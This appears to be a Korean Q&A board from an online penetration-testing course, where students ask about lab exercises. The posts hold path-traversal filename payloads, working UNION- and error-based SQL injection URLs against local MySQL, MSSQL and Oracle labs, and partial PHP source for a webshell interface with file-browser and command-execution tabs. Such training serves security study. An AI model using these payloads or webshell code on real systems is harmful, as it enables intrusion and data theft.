묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨모의해킹 실무자가 알려주는, 파일 다운로드 취약점 공격 기법과 실무 사례 분석
33강 [실습4-1] 실무 사례 분석(1) 에 대한 질문이 사항이 있습니다.
안녕하세요. 크리핵티브 강사님 실습4-1 강의 진행 중에 오류 사항이 발생하여 질문 드리게 되었습니다. [공유해주신 환경 구성 현황]--> 현재 저는 공유해주신 자료(환경)를 C:\apache-tomcat-8.5.90-windows-x64\apache-tomcat-8.5.90\webapps\ROOT 폴더 아래에 압축을 해제 하였으며 강의 내용 대로 해당 디렉토리 이름을 practice로 변경 하였습니다. --> 환경의 동작 자체는 문제가 없었습니다. [문제상황]--> 해당 다운로드 버튼을 클릭해서 동작 시키면 --> 다운로드 코드가 그대로 나옵니다. --> burp suite에서 캡처를 해서 보면 그대로 다운로드 코드가 response로 오는 것을 알 수 있습니다.--> 강의 내용대로 ㅇ filename=/Chrysanthemum.jpgㅇ filename=Chr/ysanthemum.jpgㅇ filename=%5cChrysanthemum.jpgㅇ filename=Chr%5cysanthemum.jpg등등을 시도해도 동일하게 그냥 download 코드가 나오고 있습니다.--> 그래서 강의 내용을 그대로 수행해도 filedownload 실습을 진행하기가 어렵습니다. 참고로 강사님이 공유해주신 이미지 파일 위치는 수정하지 않았습니다.[실습 대상 이미지 파일 위치]--> practice -> prob1-> upload 아래에 Chrysanthemum.jpg 파일 위치 --> 어느 부분에서 문제가 발생한 것 이며 어디를 수정해야 하는지 가르쳐 주시면 감사하겠습니다.
-
해결됨모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문
1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다.[실습 쿼리문]http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다.2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다.2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다.[실습쿼리문]http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)--[쿼리문 실행 결과]1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다.2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다.3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다.[실습쿼리문]http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2--[쿼리문 실행결과]1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다.질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요? 질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼)--> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.
-
해결됨모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
[실습6-1]MSSQL ERROR-BASED 공격 실습 관련 질문 내용
안녕하세요. 크리핵티브님 MSSQL에 대한 Error-based 공격 실습 관련 질문 사항이 발생해서 질문 드리게 되었습니다.Injection 공격 검증을 할 때 사용하는 쿼리문 내용 중 test%' and '%'=' 구문이 있는데 이런 구문이 있는 이유가 index.php 의 내용을 보면 아래와 같은 코드로 만들어져서 있는 것으로 알고 있습니다.[index.php의 일부 코드](생략) $query = "select * from {$tb_name}"; } else { if($search_type == "all") { $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'"; } else { $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; }--> 즉 우리가 입력한 test%' and '%'=' 은 if문 안에 들어가서 $query의 '%{$keyword}%'에 들어가게 되어서 최종적으로는 $query = "select * from board..tb_board where '%test%' and '%'='%'"; 이 되어서 test 이름이 들어간 모든 게시물을 보여주는 것으로 알고 있습니다. 공격 검증에 사용되는 test%' and '%'=' 구문은 현재 우리가 index.php의 $query의 내용을 알고 있어서 이렇게 test%' and '%'=' 작성 할 수 있지만 실제 실무에서도 이게 활용이 가능한지 궁금합니다.혹시 대부분의 실무 환경도 $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'"; 같은 구조로 개발이 되어서 대부분의 실무 환경에도 test%' and '%'=' 구문을 공격 검증 페이로드로 사용할 수 있는지 여부가 궁금합니다.
-
미해결모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
실습 환경 중 Oracle DB sys계정 정보 가르쳐 주실 수 있는지 궁금합니다.
안녕하세요. 크리핵 티브님 제가 개인적으로 JDBC와 JSP를 이용한 개발 학습을 하려고 하는데 sysdba 권한이 있는 계정 접속이 필요합니다. 그래서 제공해주신 웹 환경의 Oracle DB의 sys계정의 password를 가르쳐 주셨으면 합니다. 확인 후 답변 부탁드리겠습니다. 감사합니다.
-
미해결모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
LoS 문제풀이에서 질문
안녕하세요. 크리핵 티브님 강사님 강의를 따라 들으면서 LoS 문제를 풀다가 php 코드에서 한가지 질문 사항이 생겼습니다. 대부분 LoS 문제에 보면 if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); <-- 이런 구문이 있는데 여기서 필터링 하는 대상 중 prob , _ . / i 를 필터링 한다고 하는데 prob는 무엇을 의미 하는지 모르겠습니다. 그냥 prob가 들어간 문자열을 필터링 한다고 알면 되나요? 아니면 prob가 들어간 어떤 기능의 SQL 구문을 필터링 한다고 알면 되나요?
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
질문 있어요! 제발 해결해주세요
이 소스로 실행 해보면 Name,Type,Date,Action 부분 태이블에 아무것도 안 떠요 __________소스___________ <? header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>Space_Pig; webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>Webshell <small>Create by space_pig;</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileupload">File upload</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execustion</a></li> <li role="presentation" <?if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB connector</a></li> <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <? if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%" class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filetime($path.$dirList[$i])) ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>%nbsp;%nbsp;<?=$dirList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label=""> <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> <? } ?> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++); { $fileDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label=""> <button type="button" class="btn btn-info" title="File Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="File Modify"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? }?> <hr> <p class="text-muted text-center">Copyrightⓒ 2021, Space_pig, ALL rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>